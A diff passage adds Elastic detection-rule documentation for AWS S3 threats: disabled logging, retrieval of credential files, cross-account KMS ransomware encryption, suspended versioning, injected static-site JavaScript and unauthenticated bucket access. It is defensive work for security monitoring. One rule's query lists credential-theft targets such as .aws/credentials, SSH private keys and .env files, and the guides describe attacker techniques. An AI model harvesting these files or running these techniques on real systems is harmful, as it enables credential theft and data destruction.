is disabled. +Because detailed request logs are central to tracking object access, modifications here are significant from a visibility and forensics standpoint. They can signal that an adversary is preparing to act (exfiltrate, delete, or manipulate data) while minimizing audit evidence. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine the who/what of the change. + - Inspect `user_agent.original`, `source.ip`, `@timestamp`, `cloud.account.id`, `cloud.region` for unusual or non-standard access patterns (e.g., new user, external IP, off-hours). + - Check the bucket resource (via `aws.cloudtrail.resources.arn`, `aws.cloudtrail.resources.type`) to determine the bucket’s business role (e.g., logs, backups, sensitive data store). + - Consider whether the bucket houses audit logs or access logs; if so, disabling logging is especially suspicious and a higher risk. + +**Correlate with related activities** + - Search for preceding or subsequent events by the same principal or for the same bucket: + - `DeleteObject`, `PutBucketAcl`, `PutBucketPolicy`, `RemoveBucketAccessPoint`, or other permissions changes (e.g., `PutBucketLifecycle`). + - `ListBucket`, `GetObject`, `CopyObject`, or large `GetObject` operations, especially from unusual IPs or cross-account. + - IAM changes in proximity: `AttachUserPolicy`, `CreateAccessKey`, `AssumeRole` by same principal or against the same principal. + - Review AWS Config or Audit logs to see if the bucket’s logging was previously enabled and how long it has been disabled. + +**Evaluate intent and risk** + - If the bucket was being used to collect access logs or audit data, disabling logging significantly degrades forensic capability. + - Determine whether the actor has a legitimate business reason for modifying logging (ticket, change request, known automation). + - If not justified, treat this as a high-priority visibility compromise and proceed through escalation. + + +*False positive analysis* + + +- Storage teams may disable logging temporarily during migration or cost-optimisation exercises. +- Test or development buckets may routinely toggle logging for experimentation—document such buckets and roles. +- Trusted automation (tagged, known user-agent, internal IPs) may adjust logging. Consider allow-listing such automation while preserving watch-points for changes to high-sensitivity buckets. + + +*Response and remediation* + + +**Contain & restore visibility** + - Immediately re-enable server‐access logging for the affected bucket (ensure `LoggingEnabled=true` and correct `TargetBucket/Prefix`). + - If you suspect activity while logging was disabled, preserve any remaining object versions, cross-account access logs, or S3 Inventory data. + +**Investigate scope and impact** + - Use CloudTrail Lake or Athena to query access to the bucket and objects for the timeframe when logging was disabled. + - Identify external IP addresses, unusual principals, or rapid object transfers or deletions. + +**Recover & harden** + - Apply bucket-policy or SCP restrictions to prevent unauthorized modifications of `PutBucketLogging` for audit/logging buckets. + - Enable AWS Config rule (e.g., `cloudtrail-s3-bucket-access-logging`) to alert if logging is disabled. + - Ensure logging target buckets are configured with retention, versioning, and immutability (S3 Object Lock) to prevent tampering. + +**Improve & monitor** + - Update your incident response playbook to include this scenario (see AWS IR + Customer Playbook Framework). + - Educate stakeholders (storage, DevOps, security) that any change to logging configuration on buckets — especially audit/log buckets should be treated as a security event and ticketed. + + +*Additional information* + + +- AWS documentation on https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html[S3 Server Access Logging] +- https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketLogging" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "LoggingEnabled") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-credential-file-retrieved-from-bucket.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-credential-file-retrieved-from-bucket.asciidoc new file mode 100644 index 0000000000..d3d4996f25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-credential-file-retrieved-from-bucket.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-aws-s3-credential-file-retrieved-from-bucket]] +=== AWS S3 Credential File Retrieved from Bucket + +Detects successful S3 GetObject calls targeting high-value credential and secret files commonly stored in S3 buckets: AWS credentials files (".aws/credentials", ".aws/config"), SSH private keys ("id_rsa", "id_ed25519", "id_ecdsa", "id_dsa"), environment files (".env"), PEM and PuTTY key files, and other private key patterns. These file types are high-yield targets for credential harvesting from S3. The rule excludes AWSService identity type to suppress S3 replication, Glacier restore, and other AWS-internal data movement that legitimately reads these files. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetObject.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Credential Access +* Tactic: Collection +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Slow +* Profile: Aggressive + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Credential File Retrieved from Bucket* + + +S3 is frequently used to store configuration files, scripts, and secrets. When files with credential-like +names are accessed, it warrants investigation to ensure that the retrieval was authorized. + + +*Possible investigation steps* + + +- **Identify the accessed file**: Review `aws.cloudtrail.request_parameters` for the bucket name and key. + Determine whether the bucket is intended to store secrets. +- **Verify the caller**: Inspect `aws.cloudtrail.user_identity.arn` and `source.ip`. If the caller is not + an approved automation role, escalate immediately. +- **Check bucket permissions**: Determine if the bucket is publicly accessible or if the key naming + pattern was intentionally exposed. +- **Look for downstream actions**: Search for subsequent IAM, STS, or console actions from the same + identity shortly after the object retrieval, which may indicate successful credential use. + + +*False positive analysis* + + +- Legitimate backup or restore processes may access credential files stored in S3 as part of their + workflow. Validate the calling identity and user agent against known automation accounts. +- CI/CD pipelines that retrieve secrets from S3 during deployment may trigger this rule. Verify the + source IP and ARN match expected automation infrastructure. + + +*Response and remediation* + + +- Immediately disable the access key identified in `aws.cloudtrail.user_identity.access_key_id` if + the retrieval is determined to be unauthorized. +- Audit the S3 bucket for overly permissive policies or public access configurations. +- Rotate any credentials stored in the accessed object — treat them as compromised. +- Review all CloudTrail events from the same identity in the preceding 30 minutes for signs of + lateral movement, IAM changes, or resource creation. +- Implement S3 bucket policies or IAM conditions restricting access to credential files to only + authorized identities and source IPs. + + +==== Setup + + +S3 data event logging is required for this rule. This rule detects S3 GetObject events, +which are data plane events not logged by default. To enable: CloudTrail console → Trails → +[trail name] → Data events → Add S3 → select the buckets to monitor (or all buckets with a wildcard). +Without this configuration, the rule produces no alerts. + +Refer to the AWS documentation on +https://docs.aws.amazon.com/awscloudtrail/latest/userguide/logging-data-events-with-cloudtrail.html[logging data events] +for detailed steps. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "s3.amazonaws.com" and + event.action: "GetObject" and + event.outcome: "success" and + aws.cloudtrail.flattened.request_parameters.key: ( + */.aws/credentials or + */.aws/config or + */id_rsa or + */id_ed25519 or + */id_ecdsa or + */id_dsa or + */.env or + */.env.* or + *.ppk or + *.pem or + *.key or + *private_key* or + */.ssh/authorized_keys + ) and + not aws.cloudtrail.user_identity.type: "AWSService" and + not user.name: (AWSAccelerator-*) and + not aws.cloudtrail.additional_eventdata: *bytesTransferredOut=0* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-object-encryption-using-external-kms-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-object-encryption-using-external-kms-key.asciidoc new file mode 100644 index 0000000000..5ee34c25a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-object-encryption-using-external-kms-key.asciidoc @@ -0,0 +1,245 @@ +[[prebuilt-rule-8-19-34-aws-s3-object-encryption-using-external-kms-key]] +=== AWS S3 Object Encryption Using External KMS Key + +Identifies use of the S3 CopyObject API where the destination object is encrypted using an AWS KMS key from an external AWS account. This behavior may indicate ransomware-style impact activity where an adversary with access to a misconfigured S3 bucket encrypts objects using a KMS key they control, preventing the bucket owner from decrypting their own data. This technique is a critical early signal of destructive intent or cross-account misuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html/ +* https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html/ +* https://www.gem.security/post/cloud-ransomware-a-new-take-on-an-old-attack-pattern/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Data Source: AWS KMS +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS S3 +* Service: AWS KMS + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Object Encryption Using External KMS Key* + + +This rule detects when an S3 `CopyObject` operation encrypts an object using a KMS key belonging to a different AWS account than the bucket owner. This behavior is unusual and a strong indicator of: + +- Cloud ransomware techniques, where adversaries encrypt data using a key only they control. +- Cross-account privilege misuse, especially when an unauthorized principal has write access to S3. +- Misconfigured bucket permissions, enabling principals from another account to perform privileged copy operations. +- Early impact-stage activity in incidents where attackers prepare to destroy availability or deny the owner access. + +The rule uses ESQL to identify cases where the `cloud.account.id` (bucket owner) differs from the dissected `kms_key_account_id` used for encrypting the new object version. + + + +*Possible investigation steps* + + +**Identify the actor and access pathway** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. +- Check whether the caller is: + - A legitimate cross-account automation role, + - A compromised IAM user or workload identity, or + - A federated identity behaving outside of normal patterns. +- Inspect `user_agent.original` to determine whether the action came from the AWS Console, CLI, SDK, or unusual tooling. + +**Analyze the encryption behavior** +- Inspect the dissected KMS key fields: + - `Esql.aws_cloudtrail_request_parameters_kms_key_account_id` + - `Esql.aws_cloudtrail_request_parameters_kms_key_id` +- Confirm whether the external key: + - Belongs to an attacker-controlled account, + - Is unknown to your organization, or + - Lives in a shared or security tooling account. + +**Assess the objects affected** +- Review: + - `Esql.aws_cloudtrail_request_parameters_target_bucket_name` + - `Esql.aws_cloudtrail_request_parameters_target_object_key` +- Identify: + - Whether objects were overwritten or new encrypted copies were created. + - The sensitivity or criticality of the affected data. + - Whether object versioning is enabled (important for recovery). + +**Correlate surrounding access patterns** +Pivot in CloudTrail on: +- The same access key ID +- The same IAM principal +- Affected bucket ARN + +Look for: +- `DeleteObject` or `DeleteObjects` calls (common in ransomware behavior) +- Mass enumeration prior to the event (`ListObjectsV2`, `GetObject`) +- Other impact-stage actions (`PutBucketPolicy`, `PutBucketAcl`, disabling logging) +- Attempts to encrypt additional objects in rapid succession + +**Evaluate bucket permissions and exposure** +Review: +- S3 bucket policy changes +- IAM roles with `s3:PutObject` or `s3:PutObjectAcl` permissions +- Whether unintended cross-account `Principal` entries exist +- Whether the KMS key policy explicitly trusts your account or a foreign one + +**Validate business justification** +- Confirm with storage, data engineering, or application teams whether: + - Any migration, transformation, or backup workflows should be encrypting objects cross-account. + - Scheduled jobs or CI/CD pipelines were operating at the time of the event. + + +*False positive analysis* + + +- **Expected cross-account encryption** + Many organizations use centralized encryption accounts or shared security accounts. Validate: + - Whether the KMS key account is part of your AWS Organization + - Whether the workflow, role, or application is documented + - Whether the principal routinely performs CopyObject operations + + +*Response and remediation* + + +**Contain and prevent further impact** +- Immediately restrict S3 write access for the principal involved. +- If the KMS key is attacker-controlled, the impacted objects may be unrecoverable without versioning. +- If object versioning is disabled, enable it on the affected bucket to strengthen future resilience. + +**Investigate scope and severity** +- Identify: + - Additional objects encrypted using external keys + - Related suspicious actions (delete, modify, exfiltration events) + - Whether any ransom markers or unauthorized files were uploaded +- Validate whether the external KMS key grants *decrypt* permission back to the bucket owner (rare in attacker use). + +**Recover and secure the bucket** +- Restore accessible previous versions if versioning is enabled. +- Revoke unauthorized access key pairs or session credentials. +- Audit bucket policies, ACLs, and IAM conditions (`aws:PrincipalArn`, `aws:SourceAccount`, `aws:SourceArn`). +- Tighten cross-account access controls: + - Remove unintended `Principal` clauses + - Restrict KMS usage to known accounts + - Enforce SCPs that block cross-account KMS use unless explicitly approved + +**Long-term hardening** +- Integrate object-level access logging and S3 server access logging into security monitoring. +- Add AWS Config rules (or Security Hub controls) detecting: + - Public buckets + - Cross-account access to S3 + - KMS policies permitting foreign principals +- Document required cross-account workflows and add explicit allowlists. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration for CopyObject events. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index + +// any successful S3 copy event +| where + data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "CopyObject" + and event.outcome == "success" + +// dissect request parameters to extract KMS key info and target object info +| dissect aws.cloudtrail.request_parameters + "{%{?bucketName}=%{Esql.aws_cloudtrail_request_parameters_target_bucket_name},%{?x-amz-server-side-encryption-aws-kms-key-id}=%{?arn}:%{?aws}:%{?kms}:%{?region}:%{Esql.aws_cloudtrail_request_parameters_kms_key_account_id}:%{?key}/%{Esql.aws_cloudtrail_request_parameters_kms_key_id},%{?Host}=%{?tls.client.server.name},%{?x-amz-server-side-encryption}=%{?server_side_encryption},%{?x-amz-copy-source}=%{?bucket.object.name},%{?key}=%{Esql.aws_cloudtrail_request_parameters_target_object_key}}" + +// detect cross-account key usage +| where cloud.account.id != Esql.aws_cloudtrail_request_parameters_kms_key_account_id + +// keep ECS and dissected fields +| keep + @timestamp, + data_stream.namespace, + user.name, + user_agent.original, + source.ip, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.resources.arn, + aws.cloudtrail.resources.type, + event.action, + event.outcome, + cloud.account.id, + cloud.region, + aws.cloudtrail.request_parameters, + aws.cloudtrail.response_elements, + Esql.aws_cloudtrail_request_parameters_target_bucket_name, + Esql.aws_cloudtrail_request_parameters_target_object_key, + Esql.aws_cloudtrail_request_parameters_kms_key_account_id, + Esql.aws_cloudtrail_request_parameters_kms_key_id, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-object-versioning-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-object-versioning-suspended.asciidoc new file mode 100644 index 0000000000..f8a18a2d3d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-object-versioning-suspended.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-aws-s3-object-versioning-suspended]] +=== AWS S3 Object Versioning Suspended + +Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/ +* https://www.invictus-ir.com/news/ransomware-in-the-cloud/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Impact +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Object Versioning Suspended* + + +This rule detects when object versioning for an S3 bucket is suspended. S3 object versioning protects against data loss by maintaining prior versions of objects, allowing recovery if they are deleted or overwritten. +Adversaries with access to a misconfigured or compromised S3 bucket may disable versioning to inhibit recovery efforts, conceal data destruction, or prepare for ransomware-like activity. +This rule uses https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-eql-rule[EQL] to detect use of the `PutBucketVersioning` API operation where the request parameters include `Status=Suspended`. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Verify whether this user or role has a legitimate operational reason to modify bucket versioning and whether such actions are common for this identity. + +- **Analyze the Source and Context** + - Review `source.ip` and `user_agent.original` to assess the origin of the request. + - Check for unusual geographic locations, IP ranges, or clients that do not typically manage storage configurations. + +- **Evaluate the Affected Resource** + - Review `aws.cloudtrail.resources.arn` or `aws.cloudtrail.request_parameters` to identify which bucket’s versioning was modified. + - Determine whether this bucket contains critical or regulated data (logs, backups, audit evidence, etc.) that would be impacted by versioning suspension. + +- **Correlate with Related Activity** + - Search for additional CloudTrail events performed by the same actor or IP address within the same timeframe, such as: + - `DeleteObject`, `DeleteObjects`, or `PutBucketLifecycle` events (potential data destruction). + - `PutBucketPolicy` or `PutBucketAcl` changes (permission manipulation). + - Review other detections related to S3 buckets or IAM changes to determine if this event is part of a larger sequence of destructive or unauthorized actions. + +- **Validate Intent** + - Confirm whether this configuration change aligns with approved maintenance or automation activity (e.g., cost optimization, test environment reset). + - If no corresponding change request or justification exists, treat this as a potential defense evasion or impact event. + + +*False positive analysis* + + +- **Legitimate Administrative Actions** + - Administrators or infrastructure automation tools may suspend versioning during migrations or lifecycle testing. Confirm through change management documentation. +- **Automation and Pipelines** + - Verify whether Infrastructure-as-Code tools (e.g., Terraform, CloudFormation) or backup lifecycle scripts routinely modify versioning states. + - Exclude predictable automation identities where justified, while ensuring strong audit controls remain in place. + + +*Response and remediation* + + +**Containment and Validation** +- Re-enable versioning immediately for the affected bucket using the AWS Console or CLI (`aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled`). +- Verify the change with `get-bucket-versioning` to confirm the bucket is restored to “Enabled.” +- Identify IAM users or roles with `s3:PutBucketVersioning` permissions and restrict access to trusted administrators only. +- Preserve relevant CloudTrail, Config, and CloudWatch logs for the timeframe of the change to ensure integrity of investigation evidence. + +**Investigation and Scoping** +- Search CloudTrail for related actions by the same user or IP, including `DeleteObject`, `PutBucketLifecycle`, or `PutBucketPolicy`, to determine whether versioning suspension preceded object deletion or policy manipulation. +- Review S3 access logs or Data Events for deleted, overwritten, or newly uploaded files after versioning suspension. +- Validate if the change corresponds to an authorized change request or approved pipeline deployment. + +**Recovery and Hardening** +- If object loss or overwrites occurred, attempt recovery using cross-region replication, AWS Backup, or previous snapshot copies. +- Enable S3 Object Lock and MFA Delete on critical buckets to prevent future tampering. +- Configure the AWS Config rule `s3-bucket-versioning-enabled` to continuously monitor for versioning suspension and trigger automated alerts. +- Review IAM and service control policies to ensure the principle of least privilege is enforced for all S3 management actions. +- Document findings and update incident response procedures to include versioning protection as part of ransomware and data destruction prevention strategies. + + + +*Additional information* + +- AWS Documentation: https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html[Using Versioning in S3] +- API Reference: https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html[PutBucketVersioning] +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketVersioning" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Status=Suspended") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-static-site-javascript-file-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-static-site-javascript-file-uploaded.asciidoc new file mode 100644 index 0000000000..505e8fca94 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-static-site-javascript-file-uploaded.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-aws-s3-static-site-javascript-file-uploaded]] +=== AWS S3 Static Site JavaScript File Uploaded + +This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Tactic: Impact +* Use Case: Web Application Compromise +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS S3 + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS S3 Static Site JavaScript File Uploaded* + + +An S3 `PutObject` action that targets a path like `static/js/` and uploads a `.js` file is a potential signal for web content modification. If done by an unexpected IAM user or outside of CI/CD workflows, it may indicate a compromise. + + +*Possible Investigation Steps* + + +- **Identify the Source User**: Check `aws.cloudtrail.user_identity.arn`, access key ID, and session type (`IAMUser`, `AssumedRole`, etc). +- **Review File Content**: Use the S3 `GetObject` or CloudTrail `requestParameters` to inspect the uploaded file for signs of obfuscation or injection. +- **Correlate to Other Events**: Review events from the same IAM user before and after the upload (e.g., `ListBuckets`, `GetCallerIdentity`, IAM activity). +- **Look for Multiple Uploads**: Attackers may attempt to upload several files or modify multiple directories. + + +*False Positive Analysis* + + +- This behavior may be expected during app deployments. Look at: + - The `user_agent.original` to detect legitimate CI tools (like Terraform or GitHub Actions). + - Timing patterns—does this match a regular release window? + - The origin IP and device identity. + + +*Response and Remediation* + + +- **Revert Malicious Code**: Replace the uploaded JS file with a clean version and invalidate CloudFront cache if applicable. +- **Revoke Access**: If compromise is confirmed, revoke the IAM credentials and disable the user. +- **Audit IAM Policies**: Ensure that only deployment users can modify static site buckets. +- **Enable Bucket Versioning**: This can allow for quick rollback and historical review. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail* metadata _id, _version, _index + +| where + // S3 object write activity + data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutObject" + and event.outcome == "success" + + // IAM users or assumed roles only + and aws.cloudtrail.user_identity.type in ("IAMUser", "AssumedRole") + + // Requests for static site bundles + and aws.cloudtrail.request_parameters like "*static/js/*.js*" + + // Exclude IaC and automation tools + and not ( + user_agent.original like "*Terraform*" + or user_agent.original like "*Ansible*" + or user_agent.original like "*Pulumi*" + ) + +// Extract fields from request parameters +| dissect aws.cloudtrail.request_parameters + "%{{?bucket.name.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_name}, %{?host.key}=%{Esql_priv.aws_cloudtrail_request_parameters_host}, %{?bucket.object.location.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_object_location}}" + +// Extract file name portion from full object path +| dissect Esql.aws_cloudtrail_request_parameters_bucket_object_location "%{}static/js/%{Esql.aws_cloudtrail_request_parameters_object_key}" + +// Match on JavaScript files +| where ends_with(Esql.aws_cloudtrail_request_parameters_object_key, ".js") + +// Retain relevant ECS and dissected fields +| keep + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.request_parameters, + Esql.aws_cloudtrail_request_parameters_bucket_name, + Esql.aws_cloudtrail_request_parameters_object_key, + user_agent.original, + source.ip, + event.action, + @timestamp, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Defacement +** ID: T1491 +** Reference URL: https://attack.mitre.org/techniques/T1491/ +* Sub-technique: +** Name: External Defacement +** ID: T1491.002 +** Reference URL: https://attack.mitre.org/techniques/T1491/002/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc new file mode 100644 index 0000000000..108d76b93f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-aws-s3-unauthenticated-bucket-access-by-rare-source]] +=== AWS S3 Unauthenticated Bucket Access by Rare Source + +Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m 